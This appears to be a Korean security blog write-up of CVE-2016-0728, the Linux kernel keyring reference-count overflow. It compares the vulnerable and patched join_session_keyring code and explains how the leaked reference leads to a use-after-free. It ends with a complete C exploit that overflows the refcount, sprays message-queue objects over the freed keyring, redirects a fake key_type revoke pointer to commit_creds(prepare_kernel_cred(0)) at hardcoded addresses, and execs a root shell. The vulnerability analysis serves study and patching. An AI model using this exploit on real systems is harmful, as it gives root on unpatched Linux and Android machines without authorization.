0%

CVE-2016-0728

CVE-2016-0728 // Linux Kernel 1-day

information

제목 없음

  • 2016년,리눅스 커널에서 LPE(Local Privilege Escalation)취약점이 발견되었다.
  • 이 취약점은 2012년부터 존재했지만 2016년이 되어서야 취약점이 발견되었다.
  • 당시 수천만대의 Linux 개인 PC와 Server, 66%의 Android device(kit-kat)에 영향을 주었다.
  • 취약점은 32bit,64bit상관없이 발생하며, 4.4.1 버전 이전의 모든 리눅스 커널에서 발생한다. 1
  • 취약점이 발생하는 환경은 다음과 같으며, ubuntu 14.04 LTS 환경에서 증명해 보겠다.

Vulnerability

- Integer Overflow (trigger)

- Use after free (exploit)

  • Integer Overflow 취약점이 존재하는 부분은 keyctl이라는 커맨드이다.
  • keyctl은 리눅스의 key를 보유 및 관리하는 시스템이다.
  • keyring은 다른 key(다른 keyring을 포함할 수 있음)에 대한 링크가 포함된 특별한 유형의 key다.

2

  • key는 암호 데이터, 인증 토큰에 대한 구조체이며 아래와 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct key {
atomic_t usage; /* number of references */
key_serial_t serial; /* key serial number */
struct key_type *type; /* type of key */
time_t expiry; /* time at which key expires (or 0) */
uid_t uid; /* UID */
gid_t gid; /* GID */
key_perm_t perm; /* access permissions */
unsigned short quotalen; /* length added to quota */
unsigned short datalen; /* payload data length
char *description;
union {
unsigned long value;
void *data;
struct keyring_list *subscriptions;
} payload; /* Actual security data */
....
....
};

1

  • 해당 취약점에서 중요한 변수는 key->usage이다.

  • key->usage의 type은 atomic_t형으로 이는 int형과 같다.

  • 취약점이 발생하는 함수는 join_session_keyring이다.

55

  • keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)을 이용하여 현재의 세션에서 새로운 keyring을 생성할 수 있다.

  • name이 NULL일 경우 익명, NULL 이 아닐경우 해당 keyring에 이름을 지정할 수 있다.

  • keyring은 같은 이름의 keyring을 참조하여 서로 다른 프로세스에서 공유할 수 있다.

  • 만약 하나의 keyring이 여러 프로세스에서 공유되고 있다면 usage라는 필드에 위치한 객체의 내부 reference count가 계속해서 증가하게 된다.

source code, before the vulnerability is patched

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;

new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();

/* if no name is provided, install an anonymous keyring */
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;

serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}

/* allow the user to join or create a named keyring */
mutex_lock(&key_session_mutex);

/* look for an existing keyring of this name */
keyring = find_keyring_by_name(name, false); // find_keyring_by_name increments keyring usage if a keyring was found

if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc(
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}

/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;

commit_creds(new);
mutex_unlock(&key_session_mutex);

ret = keyring->serial;
key_put(keyring);
okay:
return ret;

error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}

source code, after the vulnerability is patched

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;

new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();

/* if no name is provided, install an anonymous keyring */
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;

serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}

/* allow the user to join or create a named keyring */
mutex_lock(&key_session_mutex);

/* look for an existing keyring of this name */
keyring = find_keyring_by_name(name, false);
if (PTR_ERR(keyring) == -ENOKEY) {
/* not found - try and create a new one */
keyring = keyring_alloc(
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
key_put(keyring);
ret = 0;
goto error2;
}

/* we've got a keyring - now to install it */
ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;

commit_creds(new);
mutex_unlock(&key_session_mutex);

ret = keyring->serial;
key_put(keyring);
okay:
return ret;

error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}

the difference between these code

1
2
3
4
5
6
7
8
9
10
11
//Before
else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}
//After
else if (keyring == new->session_keyring) {
key_put(keyring); //patched
ret = 0;
goto error2;
}
  • 패치된 코드를 보면, else if 문에서 goto error2이전에 key_put(keyring)이라는 코드가 추가되었다.

    key_put()

1
2
3
4
5
6
7
8
9
void key_put(struct key *key)
{
if (key) {
key_check(key);
if (refcount_dec_and_test(&key->usage))
schedule_work(&key_gc_work);
}
}
EXPORT_SYMBOL(key_put);
  • key_put 함수는 해당 keyring의 usage (reference count) 를 감소시키는 역할을 한다.

  • 추가적으로 reference count가 0이 되어 더이상 사용되지 않는 메모리가 된다면, 해당 포인터를 리눅스의 Garbage Colllector가 free 시킨다.

source code analysis

  • join_session_keyring 함수를 크게 세 부분으로 나눠서 분석하겠다.

    part 1 : cred 구조체 초기화

1
2
3
4
5
6
7
8
9
10
11
long join_session_keyring(const char *name)
{
const struct cred *old;
struct cred *new;
struct key *keyring;
long ret, serial;

new = prepare_creds();
if (!new)
return -ENOMEM;
old = current_cred();
  • join_session_keyring 함수가 호출되면 prepare_creds()함수를 통해 수정용 cred 구조체 new를 초기화 해준다.
  • current_cred()를 통해 현재 작업의 subjective credentials를 액세스 한다.

prepare_creds()

제목 없음

  • Task의 creds는 직접적으로 수정할 수 없어 반드시 copy 후 수정해야 한다.
  • prepare_creds()를 호출하여 copy를 준비 한다. (new = prepare_creds())
  • 수정 후 commit_creds()를 호출하여 커밋한다. (commit_creds(new))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct cred *prepare_creds(void)
{
struct task_struct *task = current;
const struct cred *old;
struct cred *new;
validate_process_creds();
new = kmem_cache_alloc(cred_jar, GFP_KERNEL);
if (!new)
return NULL;
kdebug("prepare_creds() alloc %p", new);
old = task->cred;
memcpy(new, old, sizeof(struct cred));
atomic_set(&new->usage, 1);
set_cred_subscribers(new, 0);
get_group_info(new->group_info);
get_uid(new->user);
get_user_ns(new->user_ns);
#ifdef CONFIG_KEYS
key_get(new->session_keyring);
key_get(new->process_keyring);
key_get(new->thread_keyring);
key_get(new->request_key_auth);
#endif
#ifdef CONFIG_SECURITY
new->security = NULL;
#endif
if (security_prepare_creds(new, old, GFP_KERNEL) < 0)
goto error;
validate_creds(new);
return new;
error:
abort_creds(new);
return NULL;
}
  • 수정용 cred 구조체를 만들어 return 해준다.

what is struct cred?

1

  • Credentials : 자격증명
  • Linux에서는 다음과 같은 Credentials들을 struct cred를 통해 관리한다.
    Traditional UNIX credentials.
    Capabilities.
    Secure management flags (securebits).
    Keys and keyrings.
    LSM
    AF_KEY
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
} __randomize_layout;

real_cred vs cred

  • linux에서는 한 task가 다른 task에 접근할 때 작용하는 권한과, 다른 task가 이 task에 접근하기 위해서 가지고 있어야 하는 권한을 분리해 놓았다.
1
2
3
4
5
6
7
8
9
/*
* The parts of the context break down into two categories:
*
* (1) The objective context of a task. These parts are used when some other
* task is attempting to affect this one.
*
* (2) The subjective context. These details are used when the task is acting
* upon another object, be that a file, a task, a key or whatever.
*/
  • real_cred (1) : 다른 task가 이 task에 접근하기 위해서 가지고 있어야 하는 권한을 의미한다.
  • cred (2) : 이 task가 다른 task에 접근하거나, 특정 작업을 수행할 때 행사하는 권한을 의미한다.

part2 : name이 NULL일 경우

1
2
3
4
5
6
7
8
9
10
11
if (!name) {
ret = install_session_keyring_to_cred(new, NULL);
if (ret < 0)
goto error;

serial = new->session_keyring->serial;
ret = commit_creds(new);
if (ret == 0)
ret = serial;
goto okay;
}
  • join_session_keyring()함수의 인자인 name이 없다면, install_session_keyring_to_cred() 함수를 호출한다.
  • 수정후 commit_creds(new)호출을 통해 수정된 cred를 커밋 시킨다.

install_session_keyring_to_cred

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
* Install a session keyring directly to a credentials struct.
*/
int install_session_keyring_to_cred(struct cred *cred, struct key *keyring)
{
unsigned long flags;
struct key *old;

might_sleep();

/* create an empty session keyring */
if (!keyring) {
flags = KEY_ALLOC_QUOTA_OVERRUN;
if (cred->session_keyring)
flags = KEY_ALLOC_IN_QUOTA;

keyring = keyring_alloc("_ses", cred->uid, cred->gid, cred,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ,
flags, NULL);
if (IS_ERR(keyring))
return PTR_ERR(keyring);
} else {
__key_get(keyring);
}

/* install the keyring */
old = cred->session_keyring;
rcu_assign_pointer(cred->session_keyring, keyring);

if (old)
key_put(old);

return 0;
}
  • install_session_keyring_to_cred()함수의 역할은 cred 구조체에 직접적으로 session keyring을 등록한다.
  • 즉, install_session_keyring_to_cred(new,NULL)은 익명의 keyring을 만들고, 이 keyring을 new cred에 등록한다.

part3 : name이 NULL이 아닐 경우

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
	mutex_lock(&key_session_mutex);

keyring = find_keyring_by_name(name, false);

if (PTR_ERR(keyring) == -ENOKEY) {
keyring = keyring_alloc(
name, old->uid, old->gid, old,
KEY_POS_ALL | KEY_USR_VIEW | KEY_USR_READ | KEY_USR_LINK,
KEY_ALLOC_IN_QUOTA, NULL);
if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
}
} else if (IS_ERR(keyring)) {
ret = PTR_ERR(keyring);
goto error2;
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}

ret = install_session_keyring_to_cred(new, keyring);
if (ret < 0)
goto error2;

commit_creds(new);
mutex_unlock(&key_session_mutex);

ret = keyring->serial;
key_put(keyring);
okay:
return ret;

error2:
mutex_unlock(&key_session_mutex);
error:
abort_creds(new);
return ret;
}
  • mutex_lock을 통해 자원 접근을 막는다.
  • find_keyring_by_name 함수를 호출해 같은 name의 keyring이 있는지 확인한다.
  • 이름이 없다면,
    • 해당 name으로 keyring을 만든다. (keyring_alloc)
    • 만든 keyring을 cred 구조체 new에 등록한다. (install_session_keyring_to_cred)
    • 수정한 내용을 커밋한다. (commit_creds)
    • 뮤텍스를 해제한다. (mutex_unlock)
    • keyring->usage를 감소시킨다. (key_put)
    • 새로 생성한 keyring->serial을 반환한다.
  • 이름이 있다면,
    • goto error2로 이동한다.
    • 뮤텍스를 해제한다.
1
2
3
4
} else if (keyring == new->session_keyring) {
ret = 0;
goto error2;
}
  • 여기서 해당 부분이 취약점을 일으키는데, keyring의 이름이 현재 session의 keyring과 같으면 바로 goto error2로 이동하게 된다.
  • 이 과정에서 keyring->usage에 대한 Integer OverFlow가 발생한다.
  • 어떻게 취약점이 발생하는지 알기 위해서는 먼저 find_keyring_by_name 함수를 알아야 한다.

find_keyring_by_name

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
struct key *find_keyring_by_name(const char *name, bool skip_perm_check)
{
struct key *keyring;
int bucket;

if (!name)
return ERR_PTR(-EINVAL);

bucket = keyring_hash(name);

read_lock(&keyring_name_lock);

if (keyring_name_hash[bucket].next) {
/* search this hash bucket for a keyring with a matching name
* that's readable and that hasn't been revoked */
list_for_each_entry(keyring,
&keyring_name_hash[bucket],
type_data.link
) {
if (!kuid_has_mapping(current_user_ns(), keyring->user->uid))
continue;

if (test_bit(KEY_FLAG_REVOKED, &keyring->flags))
continue;

if (strcmp(keyring->description, name) != 0)
continue;

if (!skip_perm_check &&
key_permission(make_key_ref(keyring, 0),
KEY_NEED_SEARCH) < 0)
continue;

/* we've got a match but we might end up racing with
* key_cleanup() if the keyring is currently 'dead'
* (ie. it has a zero usage count) */
if (!atomic_inc_not_zero(&keyring->usage))
continue;
keyring->last_used_at = current_kernel_time().tv_sec;
goto out;
}
}

keyring = ERR_PTR(-ENOKEY);
out:
read_unlock(&keyring_name_lock);
return keyring;
}
  • find_keyring_by_name 함수는 list를 돌아가며 같은 이름의 keyring이 있는지 찾아준다.
  • 여기서 같은 이름이 있다면 마지막 부분에 atomic_inc_not_zero(&keyring->usage)를 호출한다.
1
2
3
4
5
6
7
8
9
/**
* atomic_inc_not_zero - increment unless the number is zero
* @v: pointer of type atomic_t
*
* Atomically increments @v by 1, so long as @v is non-zero.
* Returns non-zero if @v was non-zero, and zero otherwise.
*/
#ifndef atomic_inc_not_zero
#define atomic_inc_not_zero(v) atomic_add_unless((v), 1, 0)
  • atomic_inc_not_zero(&keyring->usage)는 keyring->usage가 0이 아니면 증가시킨다.
  • 여기서 증가된 keyring->usage는 반드시 key_put을 통해 감소시켜야 하는데, 감소시키는 부분이 존재하지 않음을 확인할 수 있다.
  • keyring->usage는 atomic_t == int형 이므로, 계속 증가시킨다면 Integer OverFlow를 발생시킬 수 있다.
1
2
3
4
5
  else if (keyring == new->session_keyring) {
key_put(keyring); //patched
ret = 0;
goto error2;
}
  • 패치된 코드를 보면, goto error2로 가기 전에 key_put(keyring)을 통해 증가된 keyring->usage를 감소시키는 것을 확인할 수 있다.
  • 이를 통해 Integer OverFlow를 막을 수 있다.

poc code

  • 취약점을 증명하기 위한 PoC코드는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>

int main()
{
key_serial_t serial;

serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);

keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
system("cat /proc/keys");

return 0;
}
  • 먼저 “TestSession”이라는 name의 keyring을 만들고, 다시 한 번 같은 이름의 keyring을 만든다.
  • keyctl_join_session_keyring은 find_keyring_by_name를 호출 할 것이며 이를 통해 keyring->usage는 계속 증가할 것이다.
  • keyring의 정보는 /proc/keys에서 확인 할 수 있다.

334

  • 위와 같이 “TestSession”의 refcount가 계속 증가하는 것을 확인할 수 있다.
  • 만약 0xffffffff(2^32)번 만큼 실행을 시킨다면, Integer OverFlow를 통하여 refcount를 0으로 초기화 시킬 수 있을 것이다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <stdlib.h>
#include <keyutils.h>

int main()
{
int i;
key_serial_t serial;

serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL);

for(i = 0; i < 0xffffffff; i++)
{
keyctl(KEYCTL_JOIN_SESSION_KEYRING, "TestSession");
}
system("cat /proc/keys");

return 0;
}
  • keyctl(KEYCTL_JOIN_SESSION_KEYRING,”TestSession”)을 2^32번 반복한 후, /proc/keys를 확인한다.

How to exploit?

  1. Key 오브젝트에 대한 정상적인 참조를 가지고 있는다.
  2. 해당 Keyring 오브젝트의 Usage를 Overflow 시킨다.
  3. Keyring 오브젝트를 free시킨다.
  4. user space에서 이미 free된 keyring 공간에 새로운 커널 오브젝트를 할당한다.
  5. 이전의 keyring 오브젝트를 참조하게 하여 코드를 실행시킨다.
  • exploit의 핵심 함수는 key_revoke()이다.

key_revoke()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void key_revoke(struct key *key)
{
time64_t time;
key_check(key);
/* make sure no one's trying to change or use the key when we mark it
* - we tell lockdep that we might nest because we might be revoking an
* authorisation key whilst holding the sem on a key we've just
* instantiated
*/
down_write_nested(&key->sem, 1);
if (!test_and_set_bit(KEY_FLAG_REVOKED, &key->flags) &&
key->type->revoke)
key->type->revoke(key);
/* set the death time to no more than the expiry time */
time = ktime_get_real_seconds();
if (key->revoked_at == 0 || key->revoked_at > time) {
key->revoked_at = time;
key_schedule_gc(key->revoked_at + key_gc_delay);
}
up_write(&key->sem);
}
  • key_revoke()에서 key->type->revoke(key)를 호출한다.
  • 여기서 revoke는 key_type구조체에 있는 멤버이며, 함수 포인터이다.
  • 즉, revoke를 우리가 원하는 함수의 주소로 덮어쓴 후 호출시킬수 있다.
  • revoke부분을 commit_creds(prepare_kernel_cred(0))가 호출되도록 덮어야 한다.
  • prepare_kernel_cred(0)을 호출, root의 권한의 task를 가지고 commit_creds를 실행하기 때문에 현재 프로세스의 권한이 root가 되기 때문이다.

exploit method

  • user space에서 가짜 key_type을 만든다.
  • key_revoke가 실행될 때 root권한을 얻을 수 있도록 key_type->revoke에 commit_creds(prepare_kernel_cred(0))주소를 넣는다.
  • 메세지 큐를 생성하고, 이때 이전에 free된 keyring의 위치가 재사용 된다.
  • 메세지 큐를 이용해 keyring에 맞게 가짜 key_type을 전달한다.
  • keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING)를 호출한다.
  • key->type->revoke = commit_creds(prepare_kernel_cred(0))가 실행되어 root권한을 획득한다.
  • execl(“/bin/sh”, “/bin/sh”, NULL)을 호출하여 쉘을 획득한다.

exploit Code

  • 최종 exploit code는 다음과 같다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81094250)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81094550)

struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};

void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;

struct {
long mtype;
char mtext[STRUCT_LEN];
}
msg = {0x4141414141414141, {0}};
int msqid;

if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}

printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;

my_key_type = malloc(sizeof(*my_key_type));

my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));

// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}

keyring_name = argv[1];

/* Set the new session keyring before we start */

serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}

if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}


puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}

puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}

if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}

puts("finished forking");
sleep(5);

/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}

printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);

return 0;
}

CVE-2016-0728

Reference